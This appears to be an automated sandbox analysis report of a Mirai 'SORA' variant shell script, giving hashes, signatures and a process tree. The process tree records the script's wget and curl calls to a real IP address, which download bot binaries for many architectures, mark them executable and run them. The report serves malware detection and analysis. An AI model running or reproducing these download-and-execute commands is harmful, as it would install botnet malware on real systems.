Analysis
-
max time kernel
10s -
max time network
129s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
03-11-2024 14:37
Static task
static1
Behavioral task
behavioral1
Sample
lg.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
lg.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
lg.sh
Resource
debian9-mipsbe-20240418-en
General
-
Target
lg.sh
-
Size
2KB
-
MD5
bc5d26efda012ff6acde82ad9df727ba
-
SHA1
ca673c3c525f1e35bcab62dc95a426620d844850
-
SHA256
f90209498b787e94cb54a58c548994667bc712526f541bf86142a14ac6cd3bcf
-
SHA512
2718a545aa565f06edd6dae806b09dfa0a2e57ee4a21f954d5295400691daf5db8b69d7b429c8614fa1d1dc50be5446caccdce7662d448b5fea4d4a32818dc55
Malware Config
Extracted
mirai
SORA
Extracted
mirai
SORA
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 14 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1597 chmod 1592 chmod 1603 chmod 1528 chmod 1546 chmod 1551 chmod 1580 chmod 1534 chmod 1540 chmod 1557 chmod 1586 chmod 1563 chmod 1568 chmod 1574 chmod -
Executes dropped EXE 14 IoCs
ioc pid Process /tmp/robben 1529 robben /tmp/robben 1535 robben /tmp/robben 1541 robben /tmp/robben 1547 robben /tmp/robben 1552 robben /tmp/robben 1558 robben /tmp/robben 1564 robben /tmp/robben 1569 robben /tmp/robben 1575 robben /tmp/robben 1581 robben /tmp/robben 1587 robben /tmp/robben 1593 robben /tmp/robben 1598 robben /tmp/robben 1604 robben -
resource yara_rule behavioral1/files/fstream-1.dat upx behavioral1/files/fstream-4.dat upx behavioral1/files/fstream-5.dat upx behavioral1/files/fstream-7.dat upx -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1531 wget 1532 curl 1533 cat -
Writes file to tmp directory 26 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sora.arm4 curl File opened for modification /tmp/sora.x86 wget File opened for modification /tmp/sora.x86 curl File opened for modification /tmp/sora.mips wget File opened for modification /tmp/sora.i468 curl File opened for modification /tmp/sora.i686 curl File opened for modification /tmp/sora.mpsl wget File opened for modification /tmp/sora.mpsl curl File opened for modification /tmp/sora.mips curl File opened for modification /tmp/sora.arm5 wget File opened for modification /tmp/sora.arm7 wget File opened for modification /tmp/sora.arm7 curl File opened for modification /tmp/sora.ppc440fp curl File opened for modification /tmp/sora.m68k wget File opened for modification /tmp/sora.sh4 wget File opened for modification /tmp/sora.sh4 curl File opened for modification /tmp/robben lg.sh File opened for modification /tmp/sora.x86_64 wget File opened for modification /tmp/sora.i686 wget File opened for modification /tmp/sora.arm5 curl File opened for modification /tmp/sora.arm6 wget File opened for modification /tmp/sora.ppc curl File opened for modification /tmp/sora.m68k curl File opened for modification /tmp/sora.x86_64 curl File opened for modification /tmp/sora.arm6 curl File opened for modification /tmp/sora.ppc wget
Processes
-
/tmp/lg.sh/tmp/lg.sh1⤵
- Writes file to tmp directory
PID:1521 -
/usr/bin/wgetwget http://93.123.85.190/bins/sora.x862⤵
- Writes file to tmp directory
PID:1522
-
-
/usr/bin/curlcurl -O http://93.123.85.190/bins/sora.x862⤵
- Writes file to tmp directory
PID:1526
-
-
/bin/catcat sora.x862⤵PID:1527
-
-
/bin/chmodchmod +x config-err-Pzue4d lg.sh netplan_4c_7ljym robben snap-private-tmp sora.x86 ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-qbwoNb2⤵
- File and Directory Permissions Modification
PID:1528
-
-
/tmp/robben./robben lg.exploit2⤵
- Executes dropped EXE
PID:1529
-
-
/usr/bin/wgetwget http://93.123.85.190/bins/sora.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1531
-
-
/usr/bin/curlcurl -O http://93.123.85.190/bins/sora.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1532
-
-
/bin/catcat sora.mips2⤵
- System Network Configuration Discovery
PID:1533
-
-
/bin/chmodchmod +x config-err-Pzue4d lg.sh netplan_4c_7ljym robben snap-private-tmp sora.mips sora.x86 ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-qbwoNb2⤵
- File and Directory Permissions Modification
PID:1534
-
-
/tmp/robben./robben lg.exploit2⤵
- Executes dropped EXE
PID:1535
-
-
/usr/bin/wgetwget http://93.123.85.190/bins/sora.x86_642⤵
- Writes file to tmp directory
PID:1537
-
-
/usr/bin/curlcurl -O http://93.123.85.190/bins/sora.x86_642⤵
- Writes file to tmp directory
PID:1538
-
-
/bin/catcat sora.x86_642⤵PID:1539
-
-
/bin/chmodchmod +x config-err-Pzue4d lg.sh netplan_4c_7ljym robben snap-private-tmp sora.mips sora.x86 sora.x86_64 ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-qbwoNb2⤵
- File and Directory Permissions Modification
PID:1540
-
-
/tmp/robben./robben lg.exploit2⤵
- Executes dropped EXE
PID:1541
-
-
/usr/bin/wgetwget http://93.123.85.190/bins/sora.i4682⤵PID:1543
-
-
/usr/bin/curlcurl -O http://93.123.85.190/bins/sora.i4682⤵
- Writes file to tmp directory
PID:1544
-
-
/bin/catcat sora.i4682⤵PID:1545
-
-
/bin/chmodchmod +x config-err-Pzue4d lg.sh netplan_4c_7ljym robben snap-private-tmp sora.i468 sora.mips sora.x86 sora.x86_64 ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-qbwoNb2⤵
- File and Directory Permissions Modification
PID:1546
-
-
/tmp/robben./robben lg.exploit2⤵
- Executes dropped EXE
PID:1547
-
-
/usr/bin/wgetwget http://93.123.85.190/bins/sora.i6862⤵
- Writes file to tmp directory
PID:1548
-
-
/usr/bin/curlcurl -O http://93.123.85.190/bins/sora.i6862⤵
- Writes file to tmp directory
PID:1549
-
-
/bin/catcat sora.i6862⤵PID:1550
-
-
/bin/chmodchmod +x config-err-Pzue4d lg.sh netplan_4c_7ljym robben snap-private-tmp sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-qbwoNb2⤵
- File and Directory Permissions Modification
PID:1551
-
-
/tmp/robben./robben lg.exploit2⤵
- Executes dropped EXE
PID:1552
-
-
/usr/bin/wgetwget http://93.123.85.190/bins/sora.mpsl2⤵
- Writes file to tmp directory
PID:1554
-
-
/usr/bin/curlcurl -O http://93.123.85.190/bins/sora.mpsl2⤵
- Writes file to tmp directory
PID:1555
-
-
/bin/catcat sora.mpsl2⤵PID:1556
-
-
/bin/chmodchmod +x config-err-Pzue4d lg.sh netplan_4c_7ljym robben snap-private-tmp sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-qbwoNb2⤵
- File and Directory Permissions Modification
PID:1557
-
-
/tmp/robben./robben lg.exploit2⤵
- Executes dropped EXE
PID:1558
-
-
/usr/bin/wgetwget http://93.123.85.190/bins/sora.arm42⤵PID:1560
-
-
/usr/bin/curlcurl -O http://93.123.85.190/bins/sora.arm42⤵
- Writes file to tmp directory
PID:1561
-
-
/bin/catcat sora.arm42⤵PID:1562
-
-
/bin/chmodchmod +x config-err-Pzue4d lg.sh netplan_4c_7ljym robben snap-private-tmp sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-qbwoNb2⤵
- File and Directory Permissions Modification
PID:1563
-
-
/tmp/robben./robben lg.exploit2⤵
- Executes dropped EXE
PID:1564
-
-
/usr/bin/wgetwget http://93.123.85.190/bins/sora.arm52⤵
- Writes file to tmp directory
PID:1565
-
-
/usr/bin/curlcurl -O http://93.123.85.190/bins/sora.arm52⤵
- Writes file to tmp directory
PID:1566
-
-
/bin/catcat sora.arm52⤵PID:1567
-
-
/bin/chmodchmod +x config-err-Pzue4d lg.sh netplan_4c_7ljym robben snap-private-tmp sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-qbwoNb2⤵
- File and Directory Permissions Modification
PID:1568
-
-
/tmp/robben./robben lg.exploit2⤵
- Executes dropped EXE
PID:1569
-
-
/usr/bin/wgetwget http://93.123.85.190/bins/sora.arm62⤵
- Writes file to tmp directory
PID:1571
-
-
/usr/bin/curlcurl -O http://93.123.85.190/bins/sora.arm62⤵
- Writes file to tmp directory
PID:1572
-
-
/bin/catcat sora.arm62⤵PID:1573
-
-
/bin/chmodchmod +x config-err-Pzue4d lg.sh netplan_4c_7ljym robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-qbwoNb2⤵
- File and Directory Permissions Modification
PID:1574
-
-
/tmp/robben./robben lg.exploit2⤵
- Executes dropped EXE
PID:1575
-
-
/usr/bin/wgetwget http://93.123.85.190/bins/sora.arm72⤵
- Writes file to tmp directory
PID:1577
-
-
/usr/bin/curlcurl -O http://93.123.85.190/bins/sora.arm72⤵
- Writes file to tmp directory
PID:1578
-
-
/bin/catcat sora.arm72⤵PID:1579
-
-
/bin/chmodchmod +x config-err-Pzue4d lg.sh netplan_4c_7ljym robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-qbwoNb2⤵
- File and Directory Permissions Modification
PID:1580
-
-
/tmp/robben./robben lg.exploit2⤵
- Executes dropped EXE
PID:1581
-
-
/usr/bin/wgetwget http://93.123.85.190/bins/sora.ppc2⤵
- Writes file to tmp directory
PID:1583
-
-
/usr/bin/curlcurl -O http://93.123.85.190/bins/sora.ppc2⤵
- Writes file to tmp directory
PID:1584
-
-
/bin/catcat sora.ppc2⤵PID:1585
-
-
/bin/chmodchmod +x config-err-Pzue4d lg.sh netplan_4c_7ljym robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64 ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-qbwoNb2⤵
- File and Directory Permissions Modification
PID:1586
-
-
/tmp/robben./robben lg.exploit2⤵
- Executes dropped EXE
PID:1587
-
-
/usr/bin/wgetwget http://93.123.85.190/bins/sora.ppc440fp2⤵PID:1589
-
-
/usr/bin/curlcurl -O http://93.123.85.190/bins/sora.ppc440fp2⤵
- Writes file to tmp directory
PID:1590
-
-
/bin/catcat sora.ppc440fp2⤵PID:1591
-
-
/bin/chmodchmod +x config-err-Pzue4d lg.sh netplan_4c_7ljym robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-qbwoNb2⤵
- File and Directory Permissions Modification
PID:1592
-
-
/tmp/robben./robben lg.exploit2⤵
- Executes dropped EXE
PID:1593
-
-
/usr/bin/wgetwget http://93.123.85.190/bins/sora.m68k2⤵
- Writes file to tmp directory
PID:1594
-
-
/usr/bin/curlcurl -O http://93.123.85.190/bins/sora.m68k2⤵
- Writes file to tmp directory
PID:1595
-
-
/bin/catcat sora.m68k2⤵PID:1596
-
-
/bin/chmodchmod +x config-err-Pzue4d lg.sh netplan_4c_7ljym robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-qbwoNb2⤵
- File and Directory Permissions Modification
PID:1597
-
-
/tmp/robben./robben lg.exploit2⤵
- Executes dropped EXE
PID:1598
-
-
/usr/bin/wgetwget http://93.123.85.190/bins/sora.sh42⤵
- Writes file to tmp directory
PID:1600
-
-
/usr/bin/curlcurl -O http://93.123.85.190/bins/sora.sh42⤵
- Writes file to tmp directory
PID:1601
-
-
/bin/catcat sora.sh42⤵PID:1602
-
-
/bin/chmodchmod +x config-err-Pzue4d lg.sh netplan_4c_7ljym robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64 ssh-oGhne8CwRJKN systemd-private-f3a488b8bf9547eaa229b65a3b571a72-bolt.service-GM5cDx systemd-private-f3a488b8bf9547eaa229b65a3b571a72-colord.service-8CgRXE systemd-private-f3a488b8bf9547eaa229b65a3b571a72-ModemManager.service-ql0EjV systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-resolved.service-wf84C9 systemd-private-f3a488b8bf9547eaa229b65a3b571a72-systemd-timedated.service-qbwoNb2⤵
- File and Directory Permissions Modification
PID:1603
-
-
/tmp/robben./robben lg.exploit2⤵
- Executes dropped EXE
PID:1604
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
28KB
MD5fa5457b7546c1b7060c30bde3f8649ca
SHA17c75f6463c36eaebc4719f47d8047e5195a85057
SHA256d3f2f30efffec0f49e28199c60b2819a3e831ae0ba920abd2c5ece5e4bfb3adf
SHA512f012d61a479015af70447b1c3bd2a48c2977691f9a180f4f5c3340b034c65d69782299cb8459e92e3a18dcadfa3078c8b1c613593170f9fa95dd53ba36050c21
-
Filesize
28KB
MD5ec332610b0ca5b634c097ed14f42eedc
SHA1abcbd111601f4165c400e9db36fbf20339e37170
SHA2562bfdc588e26d5f6ac54ca3330ced3ab2bfc9bafb98cdd91fd017180dd5848b3a
SHA512f41f54e2aca4a5dfa3d7bcbad45963aa943fa3b6536c34f7c92c7c79894f1009ef5ab13cfed39b74ffc614791b77497689bcbe71edfefecb20497d873c92d1b0
-
Filesize
212B
MD583ab6cd9a67528bbc6f4f360cb7f8d83
SHA107e8f17209e0569aab39f062568ff0090d9b20d4
SHA2563ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
SHA512171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f
-
Filesize
28KB
MD5d356657b6ea7a715b60217a914eb6ca8
SHA1b276b1a91895c3025e9f9d64227205dac79c8ef6
SHA256b0758e5e7fde30404ec43dd5fba21253735464062e8a10f0876193d18194fe22
SHA5123b0ab5d1282c9d2ea18ed0fc78aeabafde6c16fa094d53d39a67d3316482da0cffa444dd5dc14aeefb547ce2f789480caa5bb514cb4a26787c7441ba8862e262
-
Filesize
64KB
MD5fb3d051f41bd7347aeff64980f2d100b
SHA15261ff91b8d99d6b8f5f647e33aad29b90cee973
SHA25619f4b46d738fa23ff571db081cea0bf34509b9799de2116853e77691faaebec1
SHA51282dd9805571030fc4a56a8d5838f5ee3fe1b162f059c905a48f37abcc4dc58442e1e909ab4a2352d690af8ac306eafe4d89cb87f37baec8a8136d48e884be4dd
-
Filesize
27KB
MD500eff503439515d9b12b9c068367cb80
SHA182d68f2b1ffca8558458c1b858599542a67d8bbf
SHA2562962b987b00b166299f9a73f7ccb8dc02b4208266465b41f6b1c9c28277d7276
SHA5123800bc5a8f3983fc50813c49c906203af6528ff3eb97b4818a8632085562c25eab1c691edb5dcdc96c8d2c3f25784a41897ec8a52c042d391899a310224d50f5